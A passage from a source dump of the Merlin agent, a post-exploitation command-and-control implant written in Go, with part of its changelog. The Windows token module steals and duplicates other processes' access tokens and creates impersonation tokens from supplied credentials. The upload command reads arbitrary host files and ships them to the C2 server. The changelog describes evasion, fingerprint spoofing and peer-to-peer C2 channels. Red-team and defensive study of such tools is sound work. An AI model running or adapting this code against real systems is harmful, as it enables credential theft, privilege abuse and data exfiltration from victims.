executed\nfunc Token(cmd jobs.Command) jobs.Results {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"entering Token() with %+v\", cmd))\n\treturn jobs.Results{\n\t\tStderr: \"the Token module is not supported by this agent type\",\n\t}\n}\n"
  },
  {
    "path": "commands/tokens_windows.go",
    "content": "//go:build windows\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage commands\n\nimport (\n\t// Standard\n\t\"fmt\"\n\t\"os\"\n\t\"strconv\"\n\t\"strings\"\n\n\t// X Packages\n\t\"golang.org/x/sys/windows\"\n\n\t// Merlin Main\n\t\"github.com/Ne0nd0g/merlin-message/jobs\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/os/windows/pkg/tokens\"\n)\n\n// Token is the entrypoint for Jobs that are processed to determine which Token function should be executed\nfunc Token(cmd jobs.Command) jobs.Results {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"entering Token() with %+v\", cmd))\n\n\tif len(cmd.Args) > 0 {\n\t\tswitch strings.ToLower(cmd.Args[0]) {\n\t\tcase \"make\":\n\t\t\tif len(cmd.Args) < 3 {\n\t\t\t\treturn jobs.Results{\n\t\t\t\t\tStderr: fmt.Sprintf(\"not enough arguments %d for the token make command\", len(cmd.Args)),\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn makeToken(cmd.Args[1], cmd.Args[2])\n\t\tcase \"privs\":\n\t\t\tif len(cmd.Args) > 1 {\n\t\t\t\treturn listPrivileges(cmd.Args[1])\n\t\t\t} else {\n\t\t\t\treturn listPrivileges(\"0\")\n\t\t\t}\n\t\tcase \"rev2self\":\n\t\t\treturn rev2self()\n\t\tcase \"steal\":\n\t\t\tif len(cmd.Args) < 2 {\n\t\t\t\treturn jobs.Results{\n\t\t\t\t\tStderr: \"A Process ID (PID) must be provided for the token steal command\",\n\t\t\t\t}\n\t\t\t}\n\t\t\tpid, err := strconv.Atoi(cmd.Args[1])\n\t\t\tif err != nil {\n\t\t\t\treturn jobs.Results{\n\t\t\t\t\tStderr: fmt.Sprintf(\"there was an error converting PID %s to an integeter: %s\", cmd.Args[1], err),\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn stealToken(uint32(pid))\n\t\tcase \"whoami\":\n\t\t\treturn whoami()\n\t\tdefault:\n\t\t\tj := jobs.Results{\n\t\t\t\tStderr: fmt.Sprintf(\"unrecognized Windows Access Token command: %s\", cmd.Args[0]),\n\t\t\t}\n\t\t\treturn j\n\t\t}\n\t}\n\tj := jobs.Results{\n\t\tStderr: \"no arguments were provided to the Windows Access Token module\",\n\t}\n\treturn j\n}\n\n// All functions in this file should return jobs.Results, else the function should go in os\\windows\\pkg\\tokens\n\n// listPrivileges will enumerate the privileges associated with a Windows access token\n// If the Process ID (pid) is 0, then the privileges for the token associated with current process will be enumerated\nfunc listPrivileges(processID string) (results jobs.Results) {\n\t// Convert PID from string to int\n\tpid, err := strconv.Atoi(processID)\n\tif err != nil {\n\t\tresults.Stderr = fmt.Sprintf(\"there was an error converting %s to an integer: %s\", processID, err)\n\t\treturn\n\t}\n\n\tvar token windows.Token\n\n\tif pid == 0 && tokens.Token != 0 {\n\t\tpid = os.Getpid()\n\t\ttoken = tokens.Token\n\t\tresults.Stdout += \"Enumerating privileges using previously stolen or created Windows access token\\n\"\n\t} else {\n\t\tif pid == 0 {\n\t\t\tpid = os.Getpid()\n\t\t}\n\t\t// Get a handle to the current process\n\t\tvar hProc windows.Handle\n\t\thProc, err = windows.OpenProcess(windows.PROCESS_QUERY_INFORMATION, true, uint32(pid))\n\t\tif err != nil {\n\t\t\tresults.Stderr = fmt.Sprintf(\"there was an error calling windows.OpenProcess(): %s\", err)\n\t\t\treturn\n\t\t}\n\n\t\t// Close the handle when done\n\t\tdefer func() {\n\t\t\terr2 := windows.CloseHandle(hProc)\n\t\t\tif err2 != nil {\n\t\t\t\tresults.Stderr += fmt.Sprintf(\"there was an error calling windows.CloseHandle() for the process: %s\\n\", err2)\n\t\t\t}\n\t\t}()\n\n\t\t// Use process handle to get a token\n\t\terr = windows.OpenProcessToken(hProc, windows.TOKEN_QUERY, &token)\n\t\tif err != nil {\n\t\t\tresults.Stderr = fmt.Sprintf(\"there was an error calling windows.OpenProcessToken(): %s\", err)\n\t\t\treturn\n\t\t}\n\n\t\t// Close the handle when done\n\t\tdefer func() {\n\t\t\terr2 := token.Close()\n\t\t\tif err2 != nil {\n\t\t\t\tresults.Stderr += fmt.Sprintf(\"there was an error calling token.Close(): %s\\n\", err2)\n\t\t\t}\n\t\t}()\n\t}\n\n\t// Get token integrity level\n\tintegrityLevel, err := tokens.GetTokenIntegrityLevel(token)\n\tif err != nil {\n\t\tresults.Stderr = err.Error()\n\t\treturn\n\t}\n\n\t// Get the privileges and attributes\n\tprivs, err := tokens.GetTokenPrivileges(token)\n\tif err != nil {\n\t\tresults.Stderr = err.Error()\n\t\treturn\n\t}\n\n\tresults.Stdout += fmt.Sprintf(\"Process ID %d access token integrity level: %s, privileges (%d):\\n\", pid, integrityLevel, len(privs))\n\n\tfor _, priv := range privs {\n\t\tresults.Stdout += fmt.Sprintf(\"\\tPrivilege: %s, Attribute: %s\\n\", tokens.PrivilegeToString(priv.Luid), tokens.PrivilegeAttributeToString(priv.Attributes))\n\t}\n\treturn\n}\n\n// makeToken creates a new type 9 logon session for the provided user and applies the returned Windows access token to\n// the current process using the ImpersonateLoggedOnUser Windows API call\nfunc makeToken(username, password string) (results jobs.Results) {\n\t// Make token\n\ttoken, err := tokens.LogonUser(username, password, \"\", tokens.LOGON32_LOGON_NEW_CREDENTIALS, tokens.LOGON32_PROVIDER_DEFAULT)\n\tif err != nil {\n\t\tresults.Stderr = err.Error()\n\t\treturn\n\t}\n\n\ttokens.Token = token\n\n\t// Get Token Stats\n\tstats, err := tokens.GetTokenStats(token)\n\tif err != nil {\n\t\tresults.Stderr = err.Error()\n\t\treturn\n\t}\n\n\tresults.Stdout = fmt.Sprintf(\"Successfully created a Windows access token for %s with a logon ID of 0x%X\", username, stats.AuthenticationId.LowPart)\n\n\treturn\n}\n\n// rev2self releases or drops any impersonation tokens applied to the current process, reverting to its original state\nfunc rev2self() (results jobs.Results) {\n\ttokens.Token = 0\n\terr := windows.RevertToSelf()\n\tif err != nil {\n\t\tresults.Stderr = err.Error()\n\t\treturn\n\t}\n\n\tresults.Stdout = \"Successfully reverted to self and dropped the impersonation token\"\n\treturn\n}\n\n// stealToken is a wrapper function that steals a token and applies it to the current process\nfunc stealToken(pid uint32) (results jobs.Results) {\n\tif pid == 0 {\n\t\tresults.Stderr = fmt.Sprintf(\"invalid Process ID (PID) of %d\", pid)\n\t\treturn\n\t}\n\n\thandle, err := windows.OpenProcess(windows.PROCESS_QUERY_INFORMATION, true, pid)\n\tif err != nil {\n\t\tresults.Stderr = fmt.Sprintf(\"there was an error calling kernel32!OpenProcess: %s\", err)\n\t\treturn\n\t}\n\n\t// Defer closing the process handle\n\tdefer func() {\n\t\terr = windows.Close(handle)\n\t\tif err != nil {\n\t\t\tresults.Stderr += fmt.Sprintf(\"\\n%s\", err)\n\t\t}\n\t}()\n\n\t// Use the process handle to get its access token\n\n\t// These token privs are required to call CreateProcessWithToken or later\n\tDesiredAccess := windows.TOKEN_DUPLICATE | windows.TOKEN_ASSIGN_PRIMARY | windows.TOKEN_QUERY\n\n\tvar token windows.Token\n\terr = windows.OpenProcessToken(handle, uint32(DesiredAccess), &token)\n\tif err != nil {\n\t\tresults.Stderr = fmt.Sprintf(\"there was an error calling advapi32!OpenProcessToken: %s\", err)\n\t\treturn\n\t}\n\n\t// Duplicate the token with maximum permissions\n\tvar dupToken windows.Token\n\terr = windows.DuplicateTokenEx(token, windows.MAXIMUM_ALLOWED, &windows.SecurityAttributes{}, windows.SecurityImpersonation, windows.TokenPrimary, &dupToken)\n\tif err != nil {\n\t\tresults.Stderr = fmt.Sprintf(\"there was an error calling windows.DuplicateTokenEx: %s\", err)\n\t\treturn\n\t}\n\n\ttokens.Token = dupToken\n\n\t// Get Thread Token TOKEN_STATISTICS structure\n\tstatThread, err := tokens.GetTokenStats(tokens.Token)\n\tif err != nil {\n\t\treturn\n\t}\n\n\t// Get Thread Username\n\tuserThread, err := tokens.GetTokenUsername(tokens.Token)\n\tif err != nil {\n\t\tresults.Stderr = err.Error()\n\t\treturn\n\t}\n\n\tresults.Stdout = fmt.Sprintf(\"Successfully stole token from PID %d for user %s with LogonID 0x%X\", pid, userThread, statThread.AuthenticationId.LowPart)\n\treturn\n}\n\n// whoami enumerates information about both the process and thread token currently being used\nfunc whoami() (results jobs.Results) {\n\t// Process\n\ttProc := windows.GetCurrentProcessToken()\n\n\t// Get Process Username\n\tuserProc, err := tokens.GetTokenUsername(tProc)\n\tif err != nil {\n\t\tresults.Stderr = err.Error()\n\t\treturn\n\t}\n\n\t// Get Process Token TOKEN_STATISTICS structure\n\tstatProc, err := tokens.GetTokenStats(tProc)\n\tif err != nil {\n\t\tresults.Stderr = err.Error()\n\t\treturn\n\t}\n\n\tresults.Stdout += fmt.Sprintf(\"Process (%s) Token:\\n\", tokens.TokenTypeToString(statProc.TokenType))\n\tresults.Stdout += fmt.Sprintf(\"\\tUser: %s\", userProc)\n\tresults.Stdout += fmt.Sprintf(\",Token ID: 0x%X\", statProc.TokenId.LowPart)\n\tresults.Stdout += fmt.Sprintf(\",Logon ID: 0x%X\", statProc.AuthenticationId.LowPart)\n\tresults.Stdout += fmt.Sprintf(\",Privilege Count: %d\", statProc.PrivilegeCount)\n\tresults.Stdout += fmt.Sprintf(\",Group Count: %d\", statProc.GroupCount)\n\tresults.Stdout += fmt.Sprintf(\",Type: %s\", tokens.TokenTypeToString(statProc.TokenType))\n\tresults.Stdout += fmt.Sprintf(\",Impersonation Level: %s\", tokens.ImpersonationToString(statProc.ImpersonationLevel))\n\n\t// Process Token Integrity Level\n\tpLevel, err := tokens.GetTokenIntegrityLevel(tProc)\n\tif err != nil {\n\t\tresults.Stderr = err.Error()\n\t\treturn\n\t}\n\tresults.Stdout += fmt.Sprintf(\",Integrity Level: %s\", pLevel)\n\n\t// Thread\n\tvar tThread windows.Token\n\t// Lost the fight against the Go runtime managing threads, so I can't depend on this thread having the token\n\tif tokens.Token != 0 {\n\t\ttThread = tokens.Token\n\t} else {\n\t\ttThread = windows.GetCurrentThreadEffectiveToken()\n\t\t//tThread = windows.GetCurrentThreadToken()\n\t}\n\n\t// Get Thread Token TOKEN_STATISTICS structure\n\tstatThread, err := tokens.GetTokenStats(tThread)\n\tif err != nil {\n\t\tresults.Stderr = err.Error()\n\t\treturn\n\t}\n\n\t// Get Thread Username\n\tuserThread, err := tokens.GetTokenUsername(tThread)\n\tif err != nil {\n\t\tresults.Stderr = err.Error()\n\t\treturn\n\t}\n\n\tresults.Stdout += fmt.Sprintf(\"\\nThread (%s) Token:\\n\", tokens.TokenTypeToString(statThread.TokenType))\n\tresults.Stdout += fmt.Sprintf(\"\\tUser: %s\", userThread)\n\tresults.Stdout += fmt.Sprintf(\",Token ID: 0x%X\", statThread.TokenId.LowPart)\n\tresults.Stdout += fmt.Sprintf(\",Logon ID: 0x%X\", statThread.AuthenticationId.LowPart)\n\tresults.Stdout += fmt.Sprintf(\",Privilege Count: %d\", statThread.PrivilegeCount)\n\tresults.Stdout += fmt.Sprintf(\",Group Count: %d\", statThread.GroupCount)\n\tresults.Stdout += fmt.Sprintf(\",Type: %s\", tokens.TokenTypeToString(statThread.TokenType))\n\tresults.Stdout += fmt.Sprintf(\",Impersonation Level: %s\", tokens.ImpersonationToString(statThread.ImpersonationLevel))\n\n\t// Process Token Integrity Level\n\ttLevel, err := tokens.GetTokenIntegrityLevel(tThread)\n\tif err == nil {\n\t\tresults.Stdout += fmt.Sprintf(\",Integrity Level: %s\", tLevel)\n\t}\n\n\treturn\n}\n"
  },
  {
    "path": "commands/unlink.go",
    "content": "package commands\n\nimport (\n\t// Standard\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"time\"\n\n\t// 3rd Party\n\t\"github.com/google/uuid\"\n\n\t// Merlin\n\t\"github.com/Ne0nd0g/merlin-message\"\n\t\"github.com/Ne0nd0g/merlin-message/jobs\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n)\n\n// Unlink terminates a peer-to-peer Agent connection\nfunc Unlink(cmd jobs.Command) (results jobs.Results) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"commands/unlink.Unlink(): entering into function with %+v\", cmd))\n\n\tif len(cmd.Args) < 1 {\n\t\treturn jobs.Results{Stderr: fmt.Sprintf(\"expected 1 arguments with the link command, received %d: %+v\", len(cmd.Args), cmd.Args)}\n\t}\n\n\t// Convert Agent ID to UUID\n\tagentID, err := uuid.Parse(cmd.Args[0])\n\tif err != nil {\n\t\tresults.Stderr = fmt.Sprintf(\"commands/unlink.Unlink(): there was an error converting Agent ID %s to a valid UUID: %s\", cmd.Args[0], err)\n\t\treturn\n\t}\n\n\tlink, err := peerToPeerService.GetLink(agentID)\n\tif err != nil {\n\t\tresults.Stderr = fmt.Sprintf(\"commands/unlink.Unlink(): there was an error getting the link for %s: %s\", cmd.Args[0], err)\n\t\treturn\n\t}\n\n\t// If there is a second argument, it contains a final message to send to the child agent before unlinking\n\tif len(cmd.Args) > 1 {\n\t\tdelegate := messages.Delegate{\n\t\t\tAgent: agentID,\n\t\t}\n\t\t// Base64 decode the message\n\t\tdelegate.Payload, err = base64.StdEncoding.DecodeString(cmd.Args[1])\n\t\tif err != nil {\n\t\t\tresults.Stderr = fmt.Sprintf(\"commands/unlink.Unlink(): there was an error base64 decoding the embedded messagek, (%d) bytes, for %s: %s\", len(cmd.Args[1]), agentID, err)\n\t\t\treturn\n\t\t}\n\t\t// Send the message to the child agent\n\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Sending final message to child agent %s before removing peer-to-peer link at %s\", agentID, time.Now().UTC().Format(time.RFC3339)))\n\t\tpeerToPeerService.Handle([]messages.Delegate{delegate})\n\t}\n\n\t// Remove the link\n\terr = peerToPeerService.Remove(agentID)\n\tif err != nil {\n\t\tresults.Stderr += fmt.Sprintf(\"commands/unlink.Unlink(): there was an error removing the link for %s: %s\", agentID, err)\n\t} else {\n\t\tresults.Stdout = fmt.Sprintf(\"Successfully unlinked from %s Agent %s and closed the network connection\", link.String(), agentID)\n\t}\n\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"commands/unlink.Unlink(): leaving the function with %+v\", results))\n\treturn\n}\n"
  },
  {
    "path": "commands/upload.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage commands\n\nimport (\n\t// Standard\n\t// #nosec G505 -- Random number does not impact security\n\t\"crypto/sha1\"\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\n\t// Merlin Main\n\t\"github.com/Ne0nd0g/merlin-message/jobs\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n)\n\n// Upload receives a job from the server to upload a file from the host to the Merlin server\nfunc Upload(transfer jobs.FileTransfer) (ft jobs.FileTransfer, err error) {\n\tcli.Message(cli.DEBUG, \"Entering into commands.Upload() function\")\n\t// Agent will be uploading a file to the server\n\tcli.Message(cli.NOTE, \"FileTransfer type: Upload\")\n\n\t// Setup OS environment, if any\n\terr = Setup()\n\tif err != nil {\n\t\treturn jobs.FileTransfer{}, err\n\t}\n\tdefer func() {\n\t\terr2 := TearDown()\n\t\tif err2 != nil {\n\t\t\tif err != nil {\n\t\t\t\terr = fmt.Errorf(\"there were multiple errors. 1. %s 2. %s\", err, err2)\n\t\t\t} else {\n\t\t\t\terr = err2\n\t\t\t}\n\t\t}\n\t}()\n\n\tfileData, fileDataErr := os.ReadFile(transfer.FileLocation)\n\tif fileDataErr != nil {\n\t\tcli.Message(cli.WARN, fmt.Sprintf(\"There was an error reading %s\", transfer.FileLocation))\n\t\tcli.Message(cli.WARN, fileDataErr.Error())\n\t\treturn jobs.FileTransfer{}, fmt.Errorf(\"there was an error reading %s:\\r\\n%s\", transfer.FileLocation, fileDataErr.Error())\n\t}\n\n\tfileHash := sha1.New() // #nosec G401 // Use SHA1 because it is what many Blue Team tools use\n\t_, errW := io.WriteString(fileHash, string(fileData))\n\tif errW != nil {\n\t\tcli.Message(cli.WARN, fmt.Sprintf(\"There was an error generating the SHA1 file hash e:\\r\\n%s\", errW.Error()))\n\t}\n\n\tcli.Message(cli.NOTE, fmt.Sprintf(\"Uploading file %s of size %d bytes and a SHA1 hash of %x to the server\",\n\t\ttransfer.FileLocation,\n\t\tlen(fileData),\n\t\tfileHash.Sum(nil)))\n\n\tft = jobs.FileTransfer{\n\t\tFileLocation: transfer.FileLocation,\n\t\tFileBlob:     base64.StdEncoding.EncodeToString(fileData),\n\t\tIsDownload:   true,\n\t}\n\treturn ft, nil\n}\n"
  },
  {
    "path": "commands/uptime.go",
    "content": "//go:build !windows\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage commands\n\nimport (\n\n\t// Merlin\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n\t\"github.com/Ne0nd0g/merlin-message/jobs\"\n)\n\n// Uptime retrieves the system's uptime\n// Windows only\nfunc Uptime() jobs.Results {\n\tcli.Message(cli.DEBUG, \"entering Uptime()\")\n\treturn jobs.Results{\n\t\tStderr: \"the Uptime command is not supported by this agent type\",\n\t}\n}\n"
  },
  {
    "path": "commands/uptime_windows.go",
    "content": "//go:build windows\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage commands\n\nimport (\n\t// Standard\n\t\"fmt\"\n\t\"time\"\n\n\t// Sub Repositories\n\t\"golang.org/x/sys/windows\"\n\n\t// Merlin\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n\t\"github.com/Ne0nd0g/merlin-message/jobs\"\n)\n\n// Uptime uses the Windows API to get the host's uptime\nfunc Uptime() jobs.Results {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"entering Uptime()\"))\n\tvar results jobs.Results\n\n\tkernel32 := windows.NewLazySystemDLL(\"kernel32\")\n\tGetTicketCount64 := kernel32.NewProc(\"GetTickCount64\")\n\n\tr1, _, err := GetTicketCount64.Call(0, 0, 0, 0)\n\n\tif err.Error() != \"The operation completed successfully.\" {\n\t\tresults.Stderr = fmt.Sprintf(\"\\nA call to kernel32.GetTickCount64 in the uptime command returned an error:\\n%s\", err)\n\t} else {\n\t\tresults.Stdout = fmt.Sprintf(\"\\nSystem uptime: %s\\n\", (time.Duration(r1) * time.Millisecond))\n\t}\n\treturn results\n}\n"
  },
  {
    "path": "core/core.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package core contains pieces of information or functions needed across the entire application\npackage core\n\nimport (\n\t// Standard\n\t\"math/rand\"\n\t\"sync\"\n\t\"time\"\n)\n\n// Global Variables\n\n// Verbose indicates if the agent should write messages to STDOUT\nvar Verbose = false\n\n// Debug is used to troubleshoot problems and results in very detailed information being displayed on STDOUT\nvar Debug = false\n\n// Version is the Merlin Agent's version number\nvar Version = \"2.4.3\"\n\n// Build is the build number of the Merlin Agent program set at compile time\nvar Build = \"nonRelease\"\n\n// Mutex is used to ensure exclusive access to STDOUT & STDERR\nvar Mutex = &sync.Mutex{}\n\nvar src = rand.NewSource(time.Now().UnixNano())\n\n// Constants\nconst (\n\tletterIdxBits = 6                    // 6 bits to represent a letter index\n\tletterIdxMask = 1<<letterIdxBits - 1 // All 1-bits, as many as letterIdxBits\n\tletterIdxMax  = 63 / letterIdxBits   // # of letter indices fitting in 63 bits\n\tletterBytes   = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n)\n\n// RandStringBytesMaskImprSrc generates and returns a random string of n characters long\nfunc RandStringBytesMaskImprSrc(n int) string {\n\t// http://stackoverflow.com/questions/22892120/how-to-generate-a-random-string-of-a-fixed-length-in-golang\n\tb := make([]byte, n)\n\t// A src.Int63() generates 63 random bits, enough for letterIdxMax characters!\n\tfor i, cache, remain := n-1, src.Int63(), letterIdxMax; i >= 0; {\n\t\tif remain == 0 {\n\t\t\tcache, remain = src.Int63(), letterIdxMax\n\t\t}\n\t\tif idx := int(cache & letterIdxMask); idx < len(letterBytes) {\n\t\t\tb[i] = letterBytes[idx]\n\t\t\ti--\n\t\t}\n\t\tcache >>= letterIdxBits\n\t\tremain--\n\t}\n\treturn string(b)\n}\n"
  },
  {
    "path": "docs/CHANGELOG.MD",
    "content": "# Changelog\nAll notable changes to this project will be documented in this file.\n\nThe format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/)\nand this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html).\n\n## 2.4.3 - 2025-04-16\n\n### Changed\n\n- Upgraded the minimum version of go to v1.23\n- Upgraded the following libraries\n  - golang.org/x/crypto v0.28.0 => v0.37.0\n  - golang.org/x/net v0.30.0 => v0.39.0\n  - golang.org/x/sync v0.8.0 => v0.13.0\n  - golang.org/x/sys v0.26.0 => v0.32.0\n  - golang.org/x/text v0.19.0 => v0.24.0\n  - github.com/go-jose/go-jose/v3 v3.0.3 => v3.0.4\n  - github.com/quic-go/quic-go v0.47.0 => v0.50.1\n\n## 2.4.2 - 2024-10-14\n\n### Fixed\n\n- Fixed [Issue 43](https://github.com/Ne0nd0g/merlin-agent/issues/43) - Added `fmt` import to FreeBSD shell\n\n### Changed\n\n- Check if Mythic client configuration contained a PSK for the Mythic `http` C2 profile\n- Upgraded the following libraries:\n  - golang.org/x/crypto v0.22.0 => v0.28.0\n  - golang.org/x/net v0.24.0 => v0.30.0\n  - golang.org/x/sys v0.19.0 => v0.26.0\n  - golang.org/x/text v0.14.0 => v0.19.0\n  - github.com/fatih/color v1.16.0 => v1.17.0\n  - github.com/quic-go/quic-go v0.42.0 => v0.47.0\n  - github.com/refraction-networking/utls v1.6.4 => v1.6.7\n\n## 2.4.1 - 2024-04-23\n\n### Changed\n\n- Upgraded golang.org/x/crypto v0.21.0 => v0.22.0\n- Upgraded golang.org/x/sys v0.18.0 => v0.19.0\n- Upgraded golang.org/x/mod v0.16.0 => v0.17.0\n- Upgraded golang.org/x/tools v0.19.0 => v0.20.0\n- Upgraded golang.org/x/exp v0.0.0-20240318143956-a85f2c67cd81 => v0.0.0-20240416160154-fe59bbe5cc7f\n- Upgraded github.com/google/pprof v0.0.0-20240320155624-b11c3daa6f07 => v0.0.0-20240422182052-72c8669ad3e7\n- Upgraded github.com/onsi/ginkgo/v2 v2.17.0 => v2.17.1\n- Upgraded github.com/klauspost/compress v1.17.7 => v1.17.8\n- Upgraded github.com/refraction-networking/utls v1.6.3 => v1.6.4\n- GoVulnCheck to use the latest version of Go\n\n### Security\n\n- [GO-2024-2687](https://pkg.go.dev/vuln/GO-2024-2687) - Upgraded `golang.org/x/net` to v0.24.0 to address CVE-2024-2687\n\n## 2.4.0 - 2024-03-23\n\n### Added\n\n- Mythic client handles multiple HTTP headers with the Mythic `http` C2 Profile\n- Automatic Windows HTTP proxy authentication through the `winhttp` API\n- Added the `-http-client` command line argument and `HTTPCLIENT` Makefile variable to specify which HTTP client to use\n  - Use `go` for the default Go HTTP client\n  - Use `winhttp` API for HTTP C2\n- Use `go build` tags to control which C2 clients are compiled into the agent. [Build Tags](https://merlin-c2.readthedocs.io/en/latest/agent/custom.html#build-tags)\n  - When ANY build tag is included, the agent will ONLY include that feature and nothing else. For example, if ONLY the http tag is provided, the SMB, TCP, and UDP clients will not be included.\n  - If one of the following build tags is used, then only the C2 profiles provided will be compiled in\n  - `http` - Include all HTTP clients (including HTTP/1.1, HTTP/2, and HTTP/3)\n  - `http1` - Include HTTP/1.1 client\n  - `http2` - Include HTTP/2 client\n  - `http3` - Include HTTP/3 client\n  - `winhttp` - Include Windows `winhttp` API client\n  - `mythic` - Include the Mythic client for the Mythic `http` C2 profile\n  - `smb` - Include SMB client\n  - `tcp` - Include TCP client\n  - `udp` - Include UDP client\n\n### Fixed\n\n- Resolved several SOCKS5 issues\n  - Updated Mythic client to handle `post_response` actions with `ServerPostResponse` structure to include SOCKS information\n  - Created a go routine and a channel just for sending SOCKS data in place of using the Jobs channel\n- [Issue 38](https://github.com/Ne0nd0g/merlin-agent/issues/38) - Added `evasion_386.go` to facilitate x86 Windows builds \n\n### Changed\n\n- Upgraded the following libraries to their latest version\n  - upgraded golang.org/x/net v0.21.0 => v0.22.0\n  - upgraded github.com/google/uuid v1.5.0 => v1.6.0\n  - upgraded github.com/quic-go/quic-go v0.40.1 => v0.42.0\n  - upgraded github.com/refraction-networking/utls v1.6.0 => v1.6.3\n\n### Security\n\n- Upgraded go-jose/v3 to v3.0.3 to address CVE-2024-28180\n\n## 2.3.0 - 2023-12-26\n\n### Added\n\n- Support to decode Simplified Chinese (Code Page 936) encoding to UTF-8\n- Support to decode Traditional Chinese (Code Page 950) encoding to UTF-8\n- Support to decode Korean (Code Page 949) encoding to UTF-8\n- Added 'RSA' as a valid authentication method for Mythic EKE\n- Added 'mythic' encoder to transform messages in the format Mythic expects them in\n\n### Changed\n\n- Refactored clients/mythic to correctly implement the Client interface from merlin-agent/v2 package\n  - Moved encryption out of the client and into the transforms\n  - Accepts authenticator, transforms, and secure TLS configuration items\n- Upgraded:\n  - `github.com/Ne0nd0g/merlin-message` to v1.3.0\n  - `golang.org/x/net` to v0.19.0\n  - `github.com/quic-go/quic-go` to v0.40.1\n  - `github.com/refraction-networking/utls` to v1.6.0\n- Removed `GOGARBLE` environment variable from Makefile\n\n## 2.2.0 - 2023-12-14\n\n### Added\n\n- New `os/windows/pkg/text` package to detect and handle non UTF-8 encoding\n  - Only handles ShiftJIS at this moment\n  - Will replace non UTF-8 characters with a � character\n\n### Fixed\n\n- [Issue 33](https://github.com/Ne0nd0g/merlin-agent/issues/33) - Added handling for ShiftJIS encoding\n\n## 2.1.0 - 2023-11-27\n\n### Changed\n\n- Allow the TLS X509 certificate validation setting to be passed through to JA3 and Parrot clients\n- JA3 & Parrot HTTP transports use agent's `-secure` command line argument to determine if TLS X.509 certificate validation should be performed\n- Upgraded the following modules\n  - `golang.org/x/sys v0.13.0 => v0.14.0`\n  - `golang.org/x/net v0.17.0 => v0.18.0`\n  - `github.com/go-jose/go-jose/v3 v3.0.0 => v3.0.1`\n  - `github.com/fatih/color v1.15.0 => v1.16.0`\n  \n### Fixed\n\n- [Issue 26](https://github.com/Ne0nd0g/merlin-agent/issues/26) - uTLS package uses HTTP proxy if provided or from environment variables\n  - Implemented a custom dialer to connect to the proxy first and then the destination\n- uTLS package for correctly set the TLS version from the provided JA3 string\n\n\n## 2.0.0 - 2023-11-03\n\n### Added\n\n- Peer-to-Peer Agent communication methods: smb-bind, smb-reverse, tcp-bind, tcp-reverse, udp-bind, udp-reverse\n  - An associated Listener UUID must be provided with `-listener` command line argument or `LISTENER` Make file variable\n  - An associated network interface and port must be provided with the `-addr` command line argument or `ADDR` Make file variable\n  - `Delegate` message type and associated 